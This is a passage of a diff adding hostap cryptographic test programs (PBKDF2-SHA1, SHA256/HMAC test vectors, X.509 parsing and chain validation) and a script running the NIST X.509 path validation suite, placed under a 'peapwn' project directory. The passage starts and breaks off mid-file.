"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ", + { + 0xbe, 0xcb, 0x93, 0x86, 0x6b, 0xb8, 0xc3, 0x83, + 0x2c, 0xb7, 0x77, 0xc2, 0xf5, 0x59, 0x80, 0x7c, + 0x8c, 0x59, 0xaf, 0xcb, 0x6e, 0xae, 0x73, 0x48, + 0x85, 0x00, 0x13, 0x00, 0xa9, 0x81, 0xcc, 0x62 + } + }, +}; + +#define NUM_PASSPHRASE_TESTS ARRAY_SIZE(passphrase_tests) + + +struct rfc6070_test { + char *p; + char *s; + int c; + char dk[32]; + size_t dk_len; +}; + +static struct rfc6070_test rfc6070_tests[] = +{ + { + "password", + "salt", + 1, + { + 0x0c, 0x60, 0xc8, 0x0f, 0x96, 0x1f, 0x0e, 0x71, + 0xf3, 0xa9, 0xb5, 0x24, 0xaf, 0x60, 0x12, 0x06, + 0x2f, 0xe0, 0x37, 0xa6 + }, + 20 + }, + { + "password", + "salt", + 2, + { + 0xea, 0x6c, 0x01, 0x4d, 0xc7, 0x2d, 0x6f, 0x8c, + 0xcd, 0x1e, 0xd9, 0x2a, 0xce, 0x1d, 0x41, 0xf0, + 0xd8, 0xde, 0x89, 0x57 + }, + 20 + }, + { + "password", + "salt", + 4096, + { + 0x4b, 0x00, 0x79, 0x01, 0xb7, 0x65, 0x48, 0x9a, + 0xbe, 0xad, 0x49, 0xd9, 0x26, 0xf7, 0x21, 0xd0, + 0x65, 0xa4, 0x29, 0xc1 + }, + 20 + }, +#if 0 /* This takes quite long to derive.. */ + { + "password", + "salt", + 16777216, + { + 0xee, 0xfe, 0x3d, 0x61, 0xcd, 0x4d, 0xa4, 0xe4, + 0xe9, 0x94, 0x5b, 0x3d, 0x6b, 0xa2, 0x15, 0x8c, + 0x26, 0x34, 0xe9, 0x84 + }, + 20 + }, +#endif + { + "passwordPASSWORDpassword", + "saltSALTsaltSALTsaltSALTsaltSALTsalt", + 4096, + { + 0x3d, 0x2e, 0xec, 0x4f, 0xe4, 0x1c, 0x84, 0x9b, + 0x80, 0xc8, 0xd8, 0x36, 0x62, 0xc0, 0xe4, 0x4a, + 0x8b, 0x29, 0x1a, 0x96, 0x4c, 0xf2, 0xf0, 0x70, + 0x38 + }, + 25 + }, +#if 0 /* \0 not currently supported in passphrase parameters.. */ + { + "pass\0word", + "sa\0lt", + 4096, + { + 0x56, 0xfa, 0x6a, 0xa7, 0x55, 0x48, 0x09, 0x9d, + 0xcc, 0x37, 0xd7, 0xf0, 0x34, 0x25, 0xe0, 0xc3 + }, + 16 + }, +#endif +}; + +#define NUM_RFC6070_TESTS ARRAY_SIZE(rfc6070_tests) + + +int main(int argc, char *argv[]) +{ + u8 res[512]; + int ret = 0; + unsigned int i; + + printf("PRF-SHA1 test cases:\n"); + + sha1_prf(key0, sizeof(key0), "prefix", data0, sizeof(data0) - 1, + res, sizeof(prf0)); + if (memcmp(res, prf0, sizeof(prf0)) == 0) + printf("Test case 0 - OK\n"); + else { + printf("Test case 0 - FAILED!\n"); + ret++; + } + + sha1_prf(key1, sizeof(key1) - 1, "prefix", data1, sizeof(data1) - 1, + res, sizeof(prf1)); + if (memcmp(res, prf1, sizeof(prf1)) == 0) + printf("Test case 1 - OK\n"); + else { + printf("Test case 1 - FAILED!\n"); + ret++; + } + + sha1_prf(key2, sizeof(key2), "prefix", data2, sizeof(data2), + res, sizeof(prf2)); + if (memcmp(res, prf2, sizeof(prf2)) == 0) + printf("Test case 2 - OK\n"); + else { + printf("Test case 2 - FAILED!\n"); + ret++; + } + + ret += test_eap_fast(); + + printf("PBKDF2-SHA1 Passphrase test cases:\n"); + for (i = 0; i < NUM_PASSPHRASE_TESTS; i++) { + u8 psk[32]; + struct passphrase_test *test = &passphrase_tests[i]; + pbkdf2_sha1(test->passphrase, + test->ssid, strlen(test->ssid), + 4096, psk, 32); + if (memcmp(psk, test->psk, 32) == 0) + printf("Test case %d - OK\n", i); + else { + printf("Test case %d - FAILED!\n", i); + ret++; + } + } + + printf("PBKDF2-SHA1 test cases (RFC 6070):\n"); + for (i = 0; i < NUM_RFC6070_TESTS; i++) { + u8 dk[25]; + struct rfc6070_test *test = &rfc6070_tests[i]; + pbkdf2_sha1(test->p, test->s, strlen(test->s), test->c, + dk, test->dk_len); + if (memcmp(dk, test->dk, test->dk_len) == 0) + printf("Test case %d - OK\n", i); + else { + printf("Test case %d - FAILED!\n", i); + ret++; + } + } + + return ret; +} diff --git a/peapwn/mods/hostap/tests/test-sha256.c b/peapwn/mods/hostap/tests/test-sha256.c new file mode 100644 index 000000000..7703aea26 --- /dev/null +++ b/peapwn/mods/hostap/tests/test-sha256.c @@ -0,0 +1,325 @@ +/* + * Test program for SHA256 + * Copyright (c) 2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha256.h" +#include "crypto/crypto.h" + +struct { + char *data; + u8 hash[32]; +} tests[] = { + { + "abc", + { + 0xba, 0x78, 0x16, 0xbf, 0x8f, 0x01, 0xcf, 0xea, + 0x41, 0x41, 0x40, 0xde, 0x5d, 0xae, 0x22, 0x23, + 0xb0, 0x03, 0x61, 0xa3, 0x96, 0x17, 0x7a, 0x9c, + 0xb4, 0x10, 0xff, 0x61, 0xf2, 0x00, 0x15, 0xad + } + }, + { + "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", + { + 0x24, 0x8d, 0x6a, 0x61, 0xd2, 0x06, 0x38, 0xb8, + 0xe5, 0xc0, 0x26, 0x93, 0x0c, 0x3e, 0x60, 0x39, + 0xa3, 0x3c, 0xe4, 0x59, 0x64, 0xff, 0x21, 0x67, + 0xf6, 0xec, 0xed, 0xd4, 0x19, 0xdb, 0x06, 0xc1 + } + } +}; + +struct hmac_test { + u8 key[80]; + size_t key_len; + u8 data[128]; + size_t data_len; + u8 hash[32]; +} hmac_tests[] = { + /* draft-ietf-ipsec-ciph-sha-256-01.txt */ + { + { + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, + 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, + 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20 + }, + 32, + "abc", 3, + { + 0xa2, 0x1b, 0x1f, 0x5d, 0x4c, 0xf4, 0xf7, 0x3a, + 0x4d, 0xd9, 0x39, 0x75, 0x0f, 0x7a, 0x06, 0x6a, + 0x7f, 0x98, 0xcc, 0x13, 0x1c, 0xb1, 0x6a, 0x66, + 0x92, 0x75, 0x90, 0x21, 0xcf, 0xab, 0x81, 0x81 + } + }, + { + { + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, + 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, + 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20 + }, + 32, + "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", + 56, + { + 0x10, 0x4f, 0xdc, 0x12, 0x57, 0x32, 0x8f, 0x08, + 0x18, 0x4b, 0xa7, 0x31, 0x31, 0xc5, 0x3c, 0xae, + 0xe6, 0x98, 0xe3, 0x61, 0x19, 0x42, 0x11, 0x49, + 0xea, 0x8c, 0x71, 0x24, 0x56, 0x69, 0x7d, 0x30 + } + }, + { + { + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, + 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, + 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20 + }, + 32, + "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" + "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", + 112, + { + 0x47, 0x03, 0x05, 0xfc, 0x7e, 0x40, 0xfe, 0x34, + 0xd3, 0xee, 0xb3, 0xe7, 0x73, 0xd9, 0x5a, 0xab, + 0x73, 0xac, 0xf0, 0xfd, 0x06, 0x04, 0x47, 0xa5, + 0xeb, 0x45, 0x95, 0xbf, 0x33, 0xa9, 0xd1, 0xa3 + } + }, + { + { + 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, + 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, + 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, + 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b + }, + 32, + "Hi There", + 8, + { + 0x19, 0x8a, 0x60, 0x7e, 0xb4, 0x4b, 0xfb, 0xc6, + 0x99, 0x03, 0xa0, 0xf1, 0xcf, 0x2b, 0xbd, 0xc5, + 0xba, 0x0a, 0xa3, 0xf3, 0xd9, 0xae, 0x3c, 0x1c, + 0x7a, 0x3b, 0x16, 0x96, 0xa0, 0xb6, 0x8c, 0xf7 + } + }, + { + "Jefe", + 4, + "what do ya want for nothing?", + 28, + { + 0x5b, 0xdc, 0xc1, 0x46, 0xbf, 0x60, 0x75, 0x4e, + 0x6a, 0x04, 0x24, 0x26, 0x08, 0x95, 0x75, 0xc7, + 0x5a, 0x00, 0x3f, 0x08, 0x9d, 0x27, 0x39, 0x83, + 0x9d, 0xec, 0x58, 0xb9, 0x64, 0xec, 0x38, 0x43 + } + }, + { + { + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa + }, + 32, + { + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd + }, + 50, + { + 0xcd, 0xcb, 0x12, 0x20, 0xd1, 0xec, 0xcc, 0xea, + 0x91, 0xe5, 0x3a, 0xba, 0x30, 0x92, 0xf9, 0x62, + 0xe5, 0x49, 0xfe, 0x6c, 0xe9, 0xed, 0x7f, 0xdc, + 0x43, 0x19, 0x1f, 0xbd, 0xe4, 0x5c, 0x30, 0xb0 + } + }, + { + { + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, + 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, + 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, + 0x21, 0x22, 0x23, 0x24, 0x25 + }, + 37, + { + 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, + 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, + 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, + 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, + 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, + 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, + 0xcd, 0xcd + }, + 50, + { + 0xd4, 0x63, 0x3c, 0x17, 0xf6, 0xfb, 0x8d, 0x74, + 0x4c, 0x66, 0xde, 0xe0, 0xf8, 0xf0, 0x74, 0x55, + 0x6e, 0xc4, 0xaf, 0x55, 0xef, 0x07, 0x99, 0x85, + 0x41, 0x46, 0x8e, 0xb4, 0x9b, 0xd2, 0xe9, 0x17 + } + }, + { + { + 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, + 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, + 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, + 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c + }, + 32, + "Test With Truncation", + 20, + { + 0x75, 0x46, 0xaf, 0x01, 0x84, 0x1f, 0xc0, 0x9b, + 0x1a, 0xb9, 0xc3, 0x74, 0x9a, 0x5f, 0x1c, 0x17, + 0xd4, 0xf5, 0x89, 0x66, 0x8a, 0x58, 0x7b, 0x27, + 0x00, 0xa9, 0xc9, 0x7c, 0x11, 0x93, 0xcf, 0x42 + } + }, + { + { + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa + }, + 80, + "Test Using Larger Than Block-Size Key - Hash Key First", + 54, + { + 0x69, 0x53, 0x02, 0x5e, 0xd9, 0x6f, 0x0c, 0x09, + 0xf8, 0x0a, 0x96, 0xf7, 0x8e, 0x65, 0x38, 0xdb, + 0xe2, 0xe7, 0xb8, 0x20, 0xe3, 0xdd, 0x97, 0x0e, + 0x7d, 0xdd, 0x39, 0x09, 0x1b, 0x32, 0x35, 0x2f + } + }, + { + { + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa + }, + 80, + "Test Using Larger Than Block-Size Key and Larger Than One " + "Block-Size Data", + 73, + { + 0x63, 0x55, 0xac, 0x22, 0xe8, 0x90, 0xd0, 0xa3, + 0xc8, 0x48, 0x1a, 0x5c, 0xa4, 0x82, 0x5b, 0xc8, + 0x84, 0xd3, 0xe7, 0xa1, 0xff, 0x98, 0xa2, 0xfc, + 0x2a, 0xc7, 0xd8, 0xe0, 0x64, 0xc3, 0xb2, 0xe6 + } + } +}; + + +int main(int argc, char *argv[]) +{ + + unsigned int i; + u8 hash[32]; + const u8 *addr[2]; + size_t len[2]; + int errors = 0; + + for (i = 0; i < ARRAY_SIZE(tests); i++) { + printf("SHA256 test case %d:", i + 1); + + addr[0] = (u8 *) tests[i].data; + len[0] = strlen(tests[i].data); + sha256_vector(1, addr, len, hash); + if (memcmp(hash, tests[i].hash, 32) != 0) { + printf(" FAIL"); + errors++; + } else + printf(" OK"); + + if (len[0]) { + addr[0] = (u8 *) tests[i].data; + len[0] = 1; + addr[1] = (u8 *) tests[i].data + 1; + len[1] = strlen(tests[i].data) - 1; + sha256_vector(2, addr, len, hash); + if (memcmp(hash, tests[i].hash, 32) != 0) { + printf(" FAIL"); + errors++; + } else + printf(" OK"); + } + + printf("\n"); + } + + for (i = 0; i < ARRAY_SIZE(hmac_tests); i++) { + struct hmac_test *t = &hmac_tests[i]; + printf("HMAC-SHA256 test case %d:", i + 1); + + hmac_sha256(t->key, t->key_len, t->data, t->data_len, hash); + if (memcmp(hash, t->hash, 32) != 0) { + printf(" FAIL"); + errors++; + } else + printf(" OK"); + + addr[0] = t->data; + len[0] = t->data_len; + hmac_sha256_vector(t->key, t->key_len, 1, addr, len, hash); + if (memcmp(hash, t->hash, 32) != 0) { + printf(" FAIL"); + errors++; + } else + printf(" OK"); + + if (len[0]) { + addr[0] = t->data; + len[0] = 1; + addr[1] = t->data + 1; + len[1] = t->data_len - 1; + hmac_sha256_vector(t->key, t->key_len, 2, addr, len, + hash); + if (memcmp(hash, t->hash, 32) != 0) { + printf(" FAIL"); + errors++; + } else + printf(" OK"); + } + + printf("\n"); + } + + printf("Test IEEE 802.11r KDF\n"); + sha256_prf((u8 *) "abc", 3, "KDF test", (u8 *) "data", 4, + hash, sizeof(hash)); + /* TODO: add proper test case for this */ + + return errors; +} diff --git a/peapwn/mods/hostap/tests/test-x509.c b/peapwn/mods/hostap/tests/test-x509.c new file mode 100644 index 000000000..e92ea613c --- /dev/null +++ b/peapwn/mods/hostap/tests/test-x509.c @@ -0,0 +1,38 @@ +/* + * Testing tool for X.509v3 routines + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "tls/x509v3.h" + +extern int wpa_debug_level; + + +int main(int argc, char *argv[]) +{ + FILE *f; + u8 buf[3000]; + size_t len; + struct x509_certificate *cert; + + wpa_debug_level = 0; + + f = fopen(argv[1], "rb"); + if (f == NULL) + return -1; + len = fread(buf, 1, sizeof(buf), f); + fclose(f); + + cert = x509_certificate_parse(buf, len); + if (cert == NULL) + printf("Failed to parse X.509 certificate\n"); + x509_certificate_free(cert); + + return 0; +} diff --git a/peapwn/mods/hostap/tests/test-x509v3.c b/peapwn/mods/hostap/tests/test-x509v3.c new file mode 100644 index 000000000..1290b5cee --- /dev/null +++ b/peapwn/mods/hostap/tests/test-x509v3.c @@ -0,0 +1,63 @@ +/* + * Testing tool for X.509v3 routines + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "tls/asn1.h" +#include "tls/x509v3.h" + +extern int wpa_debug_level; + + +int main(int argc, char *argv[]) +{ + char *buf; + size_t len; + struct x509_certificate *certs = NULL, *last = NULL, *cert; + int i, reason; + + wpa_debug_level = 0; + + if (argc < 3 || strcmp(argv[1], "-v") != 0) { + printf("usage: test_x509v3 -v ..\n"); + return -1; + } + + for (i = 2; i < argc; i++) { + printf("Reading: %s\n", argv[i]); + buf = os_readfile(argv[i], &len); + if (buf == NULL) { + printf("Failed to read '%s'\n", argv[i]); + return -1; + } + + cert = x509_certificate_parse((u8 *) buf, len); + if (cert == NULL) { + printf("Failed to parse X.509 certificate\n"); + return -1; + } + + free(buf); + + if (certs == NULL) + certs = cert; + else + last->next = cert; + last = cert; + } + + printf("\n\nValidating certificate chain\n"); + if (x509_certificate_chain_validate(last, certs, &reason, 0) < 0) { + printf("\nCertificate chain validation failed: %d\n", reason); + return -1; + } + printf("\nCertificate chain is valid\n"); + + return 0; +} diff --git a/peapwn/mods/hostap/tests/test_x509v3_nist.sh b/peapwn/mods/hostap/tests/test_x509v3_nist.sh new file mode 100755 index 000000000..d3f94bb3a --- /dev/null +++ b/peapwn/mods/hostap/tests/test_x509v3_nist.sh @@ -0,0 +1,144 @@ +#!/bin/bash + +# X.509 Path Validation Test Suite, Version 1.07 +# http://csrc.nist.gov/pki/testing/x509paths_old.html +# http://csrc.nist.gov/pki/testing/x509tests.tgz + +if [ -z "$1" ]; then + echo "usage: $0 " + exit 1 +fi + +TESTS=$1 + +if [ ! -d $TESTS ]; then + echo "Not a directory: $TESTS" + exit 1 +fi + +X509TEST="./test-x509v3 -v" +TMPOUT=test_x509v3_nist.out + +# TODO: add support for validating CRLs + +END="End Certificate " +ROOT="Trust Anchor " +ICA="Intermediate Certificate " + +SUCCESS="" +FAILURE="" + +function run_test +{ + NUM=$1 + RES=$2 + shift 2 + $X509TEST "$@" > $TMPOUT.$NUM + VALRES=$? + OK=0 + if [ $RES -eq 0 ]; then + # expecting success + if [ $VALRES -eq 0 ]; then + OK=1 + else + echo "test$NUM failed - expected validation success" + OK=0 + fi + else + # expecting failure + if [ $VALRES -eq 0 ]; then + echo "test$NUM failed - expected validation failure" + OK=0 + else + REASON=`grep "Certificate chain validation failed: " $TMPOUT.$NUM` + if [ $? -eq 0 ]; then + REASONNUM=`echo "$REASON" | colrm 1 37` + if [ $REASONNUM -eq $RES ]; then + OK=1 + else + echo "test$NUM failed - expected validation result $RES; result was $REASONNUM" + OK=0 + fi + else + echo "test$NUM failed - expected validation failure; other type of error detected" + OK=0 + fi + fi + fi + if [ $OK -eq 1 ]; then + rm $TMPOUT.$NUM + SUCCESS="$SUCCESS $NUM" + else + FAILURE="$FAILURE $NUM" + fi +} + +P=$TESTS/test + +run_test 1 0 "${P}1/${END}CP.01.01.crt" "${P}1/${ROOT}CP.01.01.crt" +run_test 2 1 "${P}2/${END}CP.01.02.crt" "${P}2/${ICA}CP.01.02.crt" "${P}2/${ROOT}CP.01.01.crt" +run_test 3 1 "${P}3/${END}CP.01.03.crt" "${P}3/${ICA}CP.01.03.crt" "${P}3/${ROOT}CP.01.01.crt" +run_test 4 0 "${P}4/${END}CP.02.01.crt" "${P}4/${ICA}2 CP.02.01.crt" "${P}4/${ICA}1 CP.02.01.crt" "${P}4/${ROOT}CP.01.01.crt" +run_test 5 4 "${P}5/${END}CP.02.02.crt" "${P}5/${ICA}CP.02.02.crt" "${P}5/${ROOT}CP.01.01.crt" +run_test 6 4 "${P}6/${END}CP.02.03.crt" "${P}6/${ICA}CP.02.03.crt" "${P}6/${ROOT}CP.01.01.crt" +run_test 7 0 "${P}7/${END}CP.02.04.crt" "${P}7/${ICA}CP.02.04.crt" "${P}7/${ROOT}CP.01.01.crt" +run_test 8 4 "${P}8/${END}CP.02.05.crt" "${P}8/${ICA}CP.02.05.crt" "${P}8/${ROOT}CP.01.01.crt" +run_test 9 4 "${P}9/${END}CP.03.01.crt" "${P}9/${ICA}CP.03.01.crt" "${P}9/${ROOT}CP.01.01.crt" +run_test 10 4 "${P}10/${END}CP.03.02.crt" "${P}10/${ICA}CP.03.02.crt" "${P}10/${ROOT}CP.01.01.crt" +run_test 11 4 "${P}11/${END}CP.03.03.crt" "${P}11/${ICA}CP.03.03.crt" "${P}11/${ROOT}CP.01.01.crt" +run_test 12 0 "${P}12/${END}CP.03.04.crt" "${P}12/${ICA}CP.03.04.crt" "${P}12/${ROOT}CP.01.01.crt" +run_test 13 5 "${P}13/${END}CP.04.01.crt" "${P}13/${ICA}CP.04.01.crt" "${P}13/${ROOT}CP.01.01.crt" +run_test 14 5 "${P}14/${END}CP.04.02.crt" "${P}14/${ICA}CP.04.02.crt" "${P}14/${ROOT}CP.01.01.crt" +run_test 15 0 "${P}15/${END}CP.04.03.crt" "${P}15/${ICA}CP.04.03.crt" "${P}15/${ROOT}CP.01.01.crt" +run_test 16 0 "${P}16/${END}CP.04.04.crt" "${P}16/${ICA}CP.04.04.crt" "${P}16/${ROOT}CP.01.01.crt" +run_test 17 0 "${P}17/${END}CP.04.05.crt" "${P}17/${ICA}CP.04.05.crt" "${P}17/${ROOT}CP.01.01.crt" +run_test 18 0 "${P}18/${END}CP.04.06.crt" "${P}18/${ICA}CP.04.06.crt" "${P}18/${ROOT}CP.01.01.crt" +run_test 19 1 "${P}19/${END}CP.05.01.crt" "${P}19/${ICA}CP.05.01.crt" "${P}19/${ROOT}CP.01.01.crt" +run_test 20 3 "${P}20/${END}CP.06.01.crt" "${P}20/${ICA}CP.06.01.crt" "${P}20/${ROOT}CP.01.01.crt" +run_test 21 3 "${P}21/${END}CP.06.02.crt" "${P}21/${ICA}CP.06.02.crt" "${P}21/${ROOT}CP.01.01.crt" +run_test 22 1 "${P}22/${END}IC.01.01.crt" "${P}22/${ICA}IC.01.01.crt" "${P}22/${ROOT}CP.01.01.crt" +run_test 23 1 "${P}23/${END}IC.02.01.crt" "${P}23/${ICA}IC.02.01.crt" "${P}23/${ROOT}CP.01.01.crt" +run_test 24 0 "${P}24/${END}IC.02.02.crt" "${P}24/${ICA}IC.02.02.crt" "${P}24/${ROOT}CP.01.01.crt" +run_test 25 1 "${P}25/${END}IC.02.03.crt" "${P}25/${ICA}IC.02.03.crt" "${P}25/${ROOT}CP.01.01.crt" +run_test 26 0 "${P}26/${END}IC.02.04.crt" "${P}26/${ICA}IC.02.04.crt" "${P}26/${ROOT}CP.01.01.crt" +run_test 27 0 "${P}27/${END}IC.04.01.crt" "${P}27/${ICA}IC.04.01.crt" "${P}27/${ROOT}CP.01.01.crt" +run_test 28 1 "${P}28/${END}IC.05.01.crt" "${P}28/${ICA}IC.05.01.crt" "${P}28/${ROOT}CP.01.01.crt" +run_test 29 1 "${P}29/${END}IC.05.02.crt" "${P}29/${ICA}IC.05.02.crt" "${P}29/${ROOT}CP.01.01.crt" +run_test 30 0 "${P}30/${END}IC.05.03.crt" "${P}30/${ICA}IC.05.03.crt" "${P}30/${ROOT}CP.01.01.crt" +run_test 31 1 "${P}31/${END}IC.06.01.crt" "${P}31/${ICA}IC.06.01.crt" "${P}31/${ROOT}CP.01.01.crt" +run_test 32 1 "${P}32/${END}IC.06.02.crt" "${P}32/${ICA}IC.06.02.crt" "${P}32/${ROOT}CP.01.01.crt" +run_test 33 0 "${P}33/${END}IC.06.03.crt" "${P}33/${ICA}IC.06.03.crt" "${P}33/${ROOT}CP.01.01.crt" +run_test 34 0 "${P}34/${END}PP.01.01.crt" "${P}34/${ICA}PP.01.01.crt" "${P}34/${ROOT}CP.01.01.crt" +run_test 35 0 "${P}35/${END}PP.01.02.crt" "${P}35/${ICA}PP.01.02.crt" "${P}35/${ROOT}CP.01.01.crt" +run_test 36 0 "${P}36/${END}PP.01.03.crt" "${P}36/${ICA}2 PP.01.03.crt" "${P}36/${ICA}1 PP.01.03.crt" "${P}36/${ROOT}CP.01.01.crt" +run_test 37 0 "${P}37/${END}PP.01.04.crt" "${P}37/${ICA}2 PP.01.04.crt" "${P}37/${ICA}1 PP.01.04.crt" "${P}37/${ROOT}CP.01.01.crt" +run_test 38 0 "${P}38/${END}PP.01.05.crt" "${P}38/${ICA}2 PP.01.05.crt" "${P}38/${ICA}1 PP.01.05.crt" "${P}38/${ROOT}CP.01.01.crt" +run_test 39 0 "${P}39/${END}PP.01.06.crt" "${P}39/${ICA}3 PP.01.06.crt" "${P}39/${ICA}2 PP.01.06.crt" "${P}39/${ICA}1 PP.01.06.crt" "${P}39/${ROOT}CP.01.01.crt" +run_test 40 0 "${P}40/${END}PP.01.07.crt" "${P}40/${ICA}3 PP.01.07.crt" "${P}40/${ICA}2 PP.01.07.crt" "${P}40/${ICA}1 PP.01.07.crt" "${P}40/${ROOT}CP.01.01.crt" +run_test 41 0 "${P}41/${END}PP.01.08.crt" "${P}41/${ICA}3 PP.01.08.crt" "${P}41/${ICA}2 PP.01.08.crt" "${P}41/${ICA}1 PP.01.08.crt" "${P}41/${ROOT}CP.01.01.crt" +run_test 42 0 "${P}42/${END}PP.01.09.crt" "${P}42/${ICA}4 PP.01.09.crt" "${P}42/${ICA}3 PP.01.09.crt" "${P}42/${ICA}2 PP.01.09.crt" "${P}42/${ICA}1 PP.01.09.crt" "${P}42/${ROOT}CP.01.01.crt" +run_test 43 0 "${P}43/${END}PP.06.01.crt" "${P}43/${ICA}4 PP.06.01.crt" "${P}43/${ICA}3 PP.06.01.crt" "${P}43/${ICA}2 PP.06.01.crt" "${P}43/${ICA}1 PP.06.01.crt" "${P}43/${ROOT}CP.01.01.crt" +run_test 44 0 "${P}44/${END}PP.06.02.crt" "${P}44/${ICA}4 PP.06.02.crt" "${P}44/${ICA}3 PP.06.02.crt" "${P}44/${ICA}2 PP.06.02.crt" "${P}44/${ICA}1 PP.06.02.crt" "${P}44/${ROOT}CP.01.01.crt" +run_test 45 0 "${P}45/${END}PP.06.03.crt" "${P}45/${ICA}4 PP.06.03.crt" "${P}45/${ICA}3 PP.06.03.crt" "${P}45/${ICA}2 PP.06.03.crt" "${P}45/${ICA}1 PP.06.03.crt" "${P}45/${ROOT}CP.01.01.crt" +run_test 46 0 "${P}46/${END}PP.06.04.crt" "${P}46/${ICA}4 PP.06.04.crt" "${P}46/${ICA}3 PP.06.04.crt" "${P}46/${ICA}2 PP.06.04.crt" 